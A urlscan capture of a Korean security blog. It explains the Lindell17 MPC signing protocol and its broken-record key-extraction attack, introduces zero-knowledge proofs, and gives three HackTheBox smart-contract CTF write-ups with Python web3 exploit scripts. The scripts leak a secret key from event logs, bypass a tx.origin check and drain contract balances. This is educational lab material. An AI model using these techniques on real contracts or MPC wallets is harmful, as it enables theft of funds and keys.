hakid29-web3.tistory.com
Open in
urlscan Pro
211.249.222.33
Public Scan
Submitted URL: http://hakid29-web3.tistory.com/
Effective URL: https://hakid29-web3.tistory.com/
Submission: On July 10 via api from US — Scanned from DE
Effective URL: https://hakid29-web3.tistory.com/
Submission: On July 10 via api from US — Scanned from DE
Form analysis
5 forms found in the DOM<form style="margin: 0px;">
<div class="tt-area-write">
<div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url("https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_03.png");"></span></div>
<div class="tt_wrap_write">
<div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
<div class="tt-box-textarea">
<div class="tt-inner-g">
<div contenteditable="true" placeholder="내용을 입력하세요." class="tt-cmt"></div>
</div>
</div>
<div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
disabled="">등록</button></div>
</div>
</div>
</form>
<form style="margin: 0px;">
<div class="tt-area-write">
<div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url("https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_03.png");"></span></div>
<div class="tt_wrap_write">
<div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
<div class="tt-box-textarea">
<div class="tt-inner-g">
<div contenteditable="true" placeholder="내용을 입력하세요." class="tt-cmt"></div>
</div>
</div>
<div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
disabled="">등록</button></div>
</div>
</div>
</form>
<form style="margin: 0px;">
<div class="tt-area-write">
<div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url("https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_03.png");"></span></div>
<div class="tt_wrap_write">
<div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
<div class="tt-box-textarea">
<div class="tt-inner-g">
<div contenteditable="true" placeholder="내용을 입력하세요." class="tt-cmt"></div>
</div>
</div>
<div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
disabled="">등록</button></div>
</div>
</div>
</form>
<form style="margin: 0px;">
<div class="tt-area-write">
<div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url("https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_03.png");"></span></div>
<div class="tt_wrap_write">
<div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
<div class="tt-box-textarea">
<div class="tt-inner-g">
<div contenteditable="true" placeholder="내용을 입력하세요." class="tt-cmt"></div>
</div>
</div>
<div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
disabled="">등록</button></div>
</div>
</div>
</form>
<form style="margin: 0px;">
<div class="tt-area-write">
<div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url("https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_03.png");"></span></div>
<div class="tt_wrap_write">
<div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
<div class="tt-box-textarea">
<div class="tt-inner-g">
<div contenteditable="true" placeholder="내용을 입력하세요." class="tt-cmt"></div>
</div>
</div>
<div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
disabled="">등록</button></div>
</div>
</div>
</form>
Text Content
HAKID29 * 분류 전체보기 (6) * wargame (3) * ZK (1) * MPC (1) * 홈 * 태그 * 방명록 0 / 7 / 133 블로그 내 검색 전체 글 * Lindell17 protocol 2024.07.07 * Interactive ZKP & non-interactive ZKP 2024.06.24 * hackthebox - Honor Among Thieves 2024.05.15 1 * hackthebox - Distract and Destroy 2024.05.15 1 * Upside Academy 2024-1 실기평가 web3 level 1,2,3 2024.05.15 * hackthebox - Survival of the Fittest 2024.05.10 LINDELL17 PROTOCOL hakid29 2024. 7. 7. 23:47 2024. 7. 7. 23:47 Lindell17 protocol은 2017년 Lindell에 의해 개발되었으며 대표적인 MPC 중 하나이다. Lindell17 protocol에서는 two parties가 ECDSA key의 분리된 share을 생성하고 두 party가 모두 message를 sign하고 싶을 때에만 sign할 수 있다. Practical Key-Extraction Attacks in Leading MPC Wallets 를 기반으로 Lindell17 protocol과 이에 대한 broken record attack을 소개하겠다. Lindell17 protocol에 쓰이는 Paillier Encryption을 먼저 살펴보자. PAILLIER ENCRYPTION p,qp,q : 1024 bit prime public key : N=pqN=pq private key : σ=(p−1)(q−1)σ=(p−1)(q−1) ENCRYPTION message m∈Znm∈Zn, random number ρ∈Z∗Nρ∈ZN∗ EncN(m;ρ)=(1+N)mρN (mod N2)EncN(m;ρ)=(1+N)mρN (mod N2) DECRYPTION ciphertext C∈Z∗N2C∈ZN2∗, µ=σ−1 (mod N)µ=σ−1 (mod N) Decσ(C)=(Cσ (mod N2)−1N)µ (mod N)Decσ(C)=(Cσ (mod N2)−1N)µ (mod N) =((1+N)mσ (mod N2)−1N)µ (mod N) (∵ρNσ=1 (mod N2))=((1+N)mσ (mod N2)−1N)µ (mod N) (∵ρNσ=1 (mod N2)) =(1+mσN−1N)µ (mod N)=(1+mσN−1N)µ (mod N) =(mσ)µ (mod N)=(mσ)µ (mod N) =m (mod N)=m (mod N) LINDELL17 PROTOCOL KEYGEN Alice와 Bob이 group-generator-order tuple (G,g,q)(G,g,q)을 생성하고 xA,xB∈ZqxA,xB∈Zq에 대하여 다음과 같이 key를 생성한다. (N,σ)←PailKeys and X=gxA+xB,C←EncN(xB)(N,σ)←PailKeys and X=gxA+xB,C←EncN(xB) *여기서 GG는 타원곡선 점들의 집합, gg는 타원곡선의 generator, qq는 타원곡선의 order을 말하는 것으로 보인다.즉, gkgk는 kk와 generator을 곱한 점의 xx좌표를 말한다. public key : X∈GX∈G, N∈ZN∈Z Alice's private key : xAxA Bob's private key : xB,σxB,σ 또한, CC가 Alice에게 전달된다. PROTOCOL *MulShare은 kA,kBkA,kB를 주면 R=gkAkBR=gkAkB를 주는 oracle이다. *operation 4에 k−12Decσ(C)k2−1Decσ(C)가 아니라 k−1BDecσ(D)kB−1Decσ(D)인 것 같다. Operation 자체는 꽤 단순하다. 4 부분만 보자. s=k−1BDecσ(D) (mod q)s=kB−1Decσ(D) (mod q) =k−1BDecσ(EncN(k−1A(m+rxA) (mod q))EncN(xBrk−1A (mod q))) (modq)=kB−1Decσ(EncN(kA−1(m+rxA) (mod q))EncN(xBrkA−1 (mod q))) (modq) =k−1BDecσ(EncN(k−1A(m+rxA)+xBrk−1A (mod q)) (modq)=kB−1Decσ(EncN(kA−1(m+rxA)+xBrkA−1 (mod q)) (modq) (∵paillier encryption is additively homomorphic)(∵paillier encryption is additively homomorphic) =k−1Bk−1A(m+r(xA+xB)) (mod q)=kB−1kA−1(m+r(xA+xB)) (mod q) 위 과정으로 인해 Bob은 Alice로부터 DD를 받아 valid signature인 ss를 계산할 수 있다. 결론적으로 Alice와 Bob은 message mm에 대한 서명 r,sr,s를 protocol을 통해 생성할 수 있다. BROKEN RECORD ATTACK Bob은 xB−yB (mod 2l)=0xB−yB (mod 2l)=0 인 경우에만 signature을 올바르게 생성할 수 있다. 따라서 Alice(attacker)는 ll을 1씩 늘려가며 Bob의 response에 따라 xBxB의 lsb를 하나씩 leak할 수 있다. PROOF Alice가 kA=2lkA=2l로 고른다면 s=(2lkB)−1(m+r(xA+xB)) (mod q)s=(2lkB)−1(m+r(xA+xB)) (mod q) 가 된다. ζ=2−l(m+rxA) (mod q),ζ′=yBr′2−l (mod q)ζ=2−l(m+rxA) (mod q),ζ′=yBr′2−l (mod q)라 하면 ) 위와 같은 과정을 통해 증명이 된다. 혹여나 Broken record attack 관련 wargame을 풀고 싶다면 DownUnderCTF2024에 출제된 super party computation을 풀어보길 바란다. CVE-2023-33242기반의 문제이며 이 문제의 Mulshare oracle에서 xA+xBxA+xB가 아닌 xAxBxAxB로 계산하지만 공격 자체는 완벽히 동일하게 통한다. 좋아요공감 공유하기 URL 복사카카오톡 공유페이스북 공유엑스 공유 게시글 관리 구독하기hakid29 hakid29hakid29 님의 블로그입니다.구독하기 댓글0 비밀글등록 INTERACTIVE ZKP & NON-INTERACTIVE ZKP hakid29 2024. 6. 24. 10:36 2024. 6. 24. 10:36 이 글에서는 interactive ZKP와 non-interactive ZKP가 무엇인지와 그 예시에 대하여 알아본다. Interactive proof system이란 prover와 verifier 사이의 정보를 교환하는 computation을 모델링한 이론적인 컴퓨팅 모델이다. Interactive proof에서는 prover가 infinite computing power을, verifier은 제한된 computing power을 가지고 있으므로 주로 prover가 dishonest한 경우를 가정하고 공격 시나리오를 생각한다. 하지만 verifier가 dishonest한 경우를 고려하기 시작하면서 ZKP가 등장하였다. PROPERTY OF ZKP ZKP는 항상 다음과 같은 조건을 모두 만족시켜야 한다. * Completeness : honest prover가 secret을 알고 있다면 honest verifier은 이를 납득할 수 있다. * Soundness : honest verifier가 납득한다면 prover은 secret을 알고 있는 것이다. 즉, prover가 secret을 모른다면 verifier을 납득시킬 수 없다. * Zero-knowledgeness : dishonest verifier는 secret에 대한 그 어느 정보도 알 수 없다. FIAT-SHAMIR PROTOCOL Interactive ZKP의 대표적인 예시인 Fiat-Shamir protocol을 알아보자. Goal vv와 큰 소수 2개의 곱으로 이루어진 nn에 대하여 v=s2 (mod n)v=s2 (mod n)을 만족하는 ss가 존재함을 prover가 verifier에게 납득시키려 한다. setup private input는 prover만 알고 있고, public input는 prover와 verifier 모두가 알고 있는 정보이다. * private input : ss * public input : nn, 그리고 v=s2 (mod n)v=s2 (mod n)를 만족하는 vv 1. Commitment : Prover은 random한 수 rr을 골라 verifier에게 rr에 대한 commitment xx를 전달한다. 2. Challenge : Verifier은 prover에게 0 또는 1을 challenge값으로 전달한다. 3. Response : Prover은 verifier에게 yy를 전달한다. 4. Verification : Verifier은 y2=xve (mod n)y2=xve (mod n)을 만족하는지 확인한다. 위의 과정을 여러 번 반복하면 malicious prover가 verification을 모두 통과할 가능성이 적어진다. * Completeness e=0→y=r,y2=r2=x=xv0 (mod n)e=0→y=r,y2=r2=x=xv0 (mod n) e=1→y=rs (mod n),y2=r2s2=xv1 (mod n)e=1→y=rs (mod n),y2=r2s2=xv1 (mod n) * Soundness e=1→e=1→ x=r2vx=r2v로 Commitment에서 보냄 y=ry=r로 response하면 verification통과, 즉, 50%확률로 verifier의 ee를 예상하여 통과 가능 여러 번 반복하므로 soundness도 만족 * Zero-knowledgeness 원래는 simulator을 생성하여 얻을 수 있는 정보와 실제를 비교하여 같음을 증명해야 하지만 brief하게 설명하자면 verifier은 ss에 대한 어느 정보도 얻지 못하므로 만족 Interactive ZKP의 경우, prover와 verifier가 항상 on-line상태여야 하고 연산을 반복해야 하므로 비효율적이라는 단점이 있다. 그래서 나온게 non-interactive ZKP이다. SCHNORR IDENTIFICATION PROTOCOL Non-interactive ZKP의 예시인 Schnorr identification protocol을 알아보자. Non-interactive는 prover와 verifier의 정보 교환이 최소화되는 것이 핵심이다. prover은 verifier에게 증명에 필요한 정보를 주기만 하고 받지는 않는다. Goal 소수 pp에 대하여 h=gx (mod p)h=gx (mod p)를 만족하는 xx를 알고 있음을 prover가 verifier에게 납득시키려 한다. setup * private input : xx * public input : pp, gg, hh, 그리고 q | p−1q | p−1, gq=1 (mod p)gq=1 (mod p)를 만족하는 qq * Completeness gz=gr+xc=uhc (mod p)gz=gr+xc=uhc (mod p) * Soundness uu가 확정되면 cc도 확정되므로 그에 맞는 zz를 찾기 위해서는 dlp를 풀어야한다. 따라서 xx를 모르면서 gz=uhc (mod p)gz=uhc (mod p)를 만족하는 (u,c,z)(u,c,z)를 찾을 확률은 negligible하다. * Zero-knowledgeness verifier은 xx에 대한 어느 정보도 얻지 못하므로 만족 Non-inveractive ZKP에서 succinctness((간결함)), 즉, proof size를 줄이고 빠르게 verify를 할 수 있도록 하여 실용성을 극대화시킨 것이 zk-SNARKs라고 한다. 이는 차차 공부해보자. 좋아요공감 공유하기 게시글 관리 구독하기hakid29 hakid29hakid29 님의 블로그입니다.구독하기 댓글0 비밀글등록 HACKTHEBOX - HONOR AMONG THIEVES hakid29 2024. 5. 15. 23:06 2024. 5. 15. 23:06 Rivals.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Rivals { event Voice(uint256 indexed severity); bytes32 private encryptedFlag; bytes32 private hashedFlag; address public solver; constructor(bytes32 _encrypted, bytes32 _hashed) { encryptedFlag = _encrypted; hashedFlag = _hashed; } function talk(bytes32 _key) external { bytes32 _flag = _key ^ encryptedFlag; if (keccak256(abi.encode(_flag)) == hashedFlag) { solver = msg.sender; emit Voice(5); } else { emit Voice(block.timestamp % 5); } } } Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Rivals} from "./Rivals.sol"; contract Setup { Rivals public immutable TARGET; constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable { TARGET = new Rivals(_encryptedFlag, _hashed); } function isSolved(address _player) public view returns (bool) { return TARGET.solver() == _player; } } solver를 msg.sender로 만들어야 한다. talk함수에서 if문의 조건을 만족시키면 Voice(5)가, 그렇지 못하면 Voice(block.timestamp%5)가 수행된다. 유일하게 public변수인 solver을 출력해보면 초기값인 0이 아니라 다른 주소이다. 즉, 이미 talk함수를 호출하여 if문의 조건을 충족시켜 solver가 특정 주소로 변한 것이다. 여기서 중요한 점은 talk함수를 호출하면 무조건 event가 발생하며, if문의 조건을 충족시킨 경우에만 이벤트의 인자가 5가 된다는 것이다. 따라서 event log에서 이를 찾아서 input, 즉, key를 leak할 수 있다. ex.py from web3 import Web3 import requests import json url = "http://94.237.54.214:59399" info = json.loads(requests.get(url + "/connection_info").content) privkey = info["PrivateKey"] target_addr = info["TargetAddress"] pub_address = info["Address"] w3 = Web3(Web3.HTTPProvider(url + '/rpc')) def string_to_bytes32(text): return Web3.to_bytes(text=text).ljust(32, b'\0') contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read()) logs = contract.events.Voice().get_logs(fromBlock=0) for log in logs: tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex()) if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05': print("find!!!") tx_hash = log['transactionHash'].hex() break key = w3.eth.get_transaction(tx_hash)['input'].hex() key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes transaction = contract.functions.talk(key).build_transaction( { "chainId": w3.eth.chain_id, "gasPrice": w3.eth.gas_price, "from": pub_address, "nonce": w3.eth.get_transaction_count(pub_address), "value": 0 } ) sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey) tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction) tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(requests.get(url + '/flag').content.decode()) 좋아요공감 공유하기 게시글 관리 구독하기hakid29 'WARGAME' 카테고리의 다른 글 hackthebox - Distract and Destroy (1) 2024.05.15 hackthebox - Survival of the Fittest (0) 2024.05.10 hakid29hakid29 님의 블로그입니다.구독하기 댓글0 비밀글등록 HACKTHEBOX - DISTRACT AND DESTROY hakid29 2024. 5. 15. 20:56 2024. 5. 15. 20:56 Creature.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Creature { uint256 public lifePoints; address public aggro; constructor() payable { lifePoints = 1000; } function attack(uint256 _damage) external { if (aggro == address(0)) { aggro = msg.sender; } if (_isOffBalance() && aggro != msg.sender) { lifePoints -= _damage; } else { lifePoints -= 0; } } function loot() external { require(lifePoints == 0, "Creature is still alive!"); payable(msg.sender).transfer(address(this).balance); } function _isOffBalance() private view returns (bool) { return tx.origin != msg.sender; } } Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Creature} from "./Creature.sol"; contract Setup { Creature public immutable TARGET; constructor() payable { require(msg.value == 1 ether); TARGET = new Creature{value: 10}(); } function isSolved() public view returns (bool) { return address(TARGET).balance == 0; } } tx.origin과 msg.sender가 달라야 한다. tx.origin은 EOA로 고정이므로 중간에 attack을 호출하는 Middle 컨트랙트를 배포하여 msg.sender가 Middle 컨트랙트의 주소가 되도록 하면 된다. 또한, aggro가 msg.sender와 달라야 하고 초기값인 0이면 msg.sender로 설정되므로 tx.origin에서 우선 attack함수를 호출하여 aggro를 tx.origin으로 설정해줘야 한다. from web3 import Web3 import requests import json from solcx import * url = "http://94.237.63.83:39628" key = json.loads(requests.get(url + "/connection_info").content) privkey = key["PrivateKey"] target_addr = key["TargetAddress"] pub_address = key["Address"] w3 = Web3(Web3.HTTPProvider(url + "/rpc")) assert w3.is_connected() == True dir_contract = w3.eth.contract(address=target_addr, abi = open('creature.json','r').read()) # set aggro to tx.origin dir_contract.functions.attack(1000).transact() source_code = """ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Middle { constructor (address target, uint256 _damage) { (bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage)); require(success, string(result)); } } """ compiled_sol = compile_source(source_code, output_values=["abi", "bin"]) _, contract_interface = compiled_sol.popitem() bytecode = contract_interface["bin"] abi2 = contract_interface["abi"] contract2 = w3.eth.contract(abi=abi2, bytecode=bytecode) transaction = contract2.constructor(target_addr, 1000).build_transaction( { "chainId": w3.eth.chain_id, "gasPrice": w3.eth.gas_price, "from": pub_address, "nonce": w3.eth.get_transaction_count(pub_address), "value": 0 } ) sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey) tx_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction) tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(tx_receipt) print(dir_contract.functions.lifePoints().call()) dir_contract.functions.loot().transact() print(requests.get(url + '/flag').content) 좋아요공감 공유하기 게시글 관리 구독하기hakid29 'WARGAME' 카테고리의 다른 글 hackthebox - Honor Among Thieves (1) 2024.05.15 hackthebox - Survival of the Fittest (0) 2024.05.10 hakid29hakid29 님의 블로그입니다.구독하기 댓글0 비밀글등록 UPSIDE ACADEMY 2024-1 실기평가 WEB3 LEVEL 1,2,3 2024. 5. 15. 12:20 HACKTHEBOX - SURVIVAL OF THE FITTEST hakid29 2024. 5. 10. 16:40 2024. 5. 10. 16:40 Creature.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; contract Creature { uint256 public lifePoints; address public aggro; constructor() payable { lifePoints = 20; } function strongAttack(uint256 _damage) external{ _dealDamage(_damage); } function punch() external { _dealDamage(1); } function loot() external { require(lifePoints == 0, "Creature is still alive!"); payable(msg.sender).transfer(address(this).balance); } function _dealDamage(uint256 _damage) internal { aggro = msg.sender; lifePoints -= _damage; } } Setup.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Creature} from "./Creature.sol"; contract Setup { Creature public immutable TARGET; constructor() payable { require(msg.value == 1 ether); TARGET = new Creature{value: 10}(); } function isSolved() public view returns (bool) { return address(TARGET).balance == 0; } } target의 balance를 0으로 만들면 isSolved()를 만족한다. 따라서 loot()를 호출하여 target의 이더를 msg.sender로 다 보내야 하고 이를 위해 lifePoints가 0이어야 한다. 이는 stringAttack으로 수행할 수 있다. ex.py from web3 import Web3 import requests import json url = "http://94.237.62.149:57086" info = json.loads(requests.get(url + "/connection_info").content) privkey = info["PrivateKey"] target_addr = info["TargetAddress"] w3 = Web3(Web3.HTTPProvider(url + '/rpc')) contract = w3.eth.contract(address=target_addr, abi = open("abi.json", "r").read()) contract.functions.strongAttack(20).transact() assert contract.functions.lifePoints().call() == 0 contract.functions.loot().transact() print(requests.get(url + '/flag').content.decode()) 좋아요공감 공유하기 게시글 관리 구독하기hakid29 'WARGAME' 카테고리의 다른 글 hackthebox - Honor Among Thieves (1) 2024.05.15 hackthebox - Distract and Destroy (1) 2024.05.15 hakid29hakid29 님의 블로그입니다.구독하기 댓글0 비밀글등록 PREV 이전 1 NEXT 다음 + RECENT POSTS * Lindell17 protocol * Interactive ZKP & non-interact⋯ * hackthebox - Honor Among Thiev⋯ * hackthebox - Distract and Dest⋯ Powered by Tistory, Designed by wallel Rss Feed and Twitter, Facebook, Youtube, Google+ 티스토리툴바 닫기 단축키 내 블로그 내 블로그 - 관리자 홈 전환 Q Q 새 글 쓰기 W W 블로그 게시글 글 수정 (권한 있는 경우) E E 댓글 영역으로 이동 C C 모든 영역 이 페이지의 URL 복사 S S 맨 위로 이동 T T 티스토리 홈 이동 H H 단축키 안내 Shift + / ⇧ + / * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.